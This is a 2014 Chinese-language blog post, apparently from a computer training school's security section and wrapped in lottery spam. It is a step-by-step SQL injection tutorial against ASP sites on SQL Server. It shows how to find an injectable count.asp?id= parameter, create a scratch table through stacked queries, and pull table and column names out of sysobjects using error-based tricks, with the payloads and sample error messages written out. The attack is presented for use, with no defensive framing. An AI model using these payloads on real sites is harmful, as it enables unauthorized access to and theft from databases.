?11选五天津一定牛

14

05-2014

  大家在是否碰到過這樣的站點,全站文章系統采用FSO靜態生成的HTML文件來顯示。這樣做的好處一來可以減輕服務器負擔,提高訪問速度。二來也阻止了SQL注入式的攻擊。  我來說說他們的文章系統原理:全部文章均在數據庫存有一個副本。另處根據模板生成一個HTML頁面。  攻擊方法: 查看源文件/看里面是否有通過JS來調用的頁面。如調用來更新文章的瀏覽次數。  我們就可以這樣來試一下可否注入: http://服務器域名/count.asp?id=1552  看一下是否出錯。如出錯說明有注入漏洞。然后正常攻擊。  在本機建立一下post.htm的文件和log.txt的文本文件(用來記錄用,這是一個好習慣)  post.htm內容:主要是方便輸入。  對于SQLSERVER的服務器可以這樣判斷:在1552后加一分號,如正常有可能是SQLSERVER  對于這類數據庫可以先建一個表id=1552;create table aaa(aaa char(20));–  然后插入一條記錄:id=1552;insert into aaa values(‘test’);–  再之后枚舉出他的數據表名:  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);–  這是將第一個表名更新到aaa的字段處。  id=1552 and exists(select * from aaa where aaa>5)就會報錯,多數情況會將表名直接讀出:  Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e07′  將 varchar 值 ‘vote’ 轉換為數據類型為 int 的列時發生語法錯誤。  /search.asp,行21  其中vote就是表名:  也可以先猜出一個表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那個表的一條記錄中去。通過網頁顯示。  讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>’剛才得到的表名’)。  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);–  然后id=1552 and exists(select * from aaa where aaa>5)  讀出第二個表,^^^^^^一個個的讀出,直到沒有為止。  讀字段是這樣:  id=1552;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),1));–  然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名  id=1552;update aaa set aaa=(select top 1 col_name(object_id(‘表名’),2));–  然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名  ……類推

該日志 2014年05月14日發表在網絡安全技術分類下, 通告目前不可用,你可以至底部留下評論。
轉載請注明: SQL腳本注入的不常見方法概括 | 鄭州計算機學校_鄭州電腦學校_鄭州電腦培訓
11选五一定牛云南走势图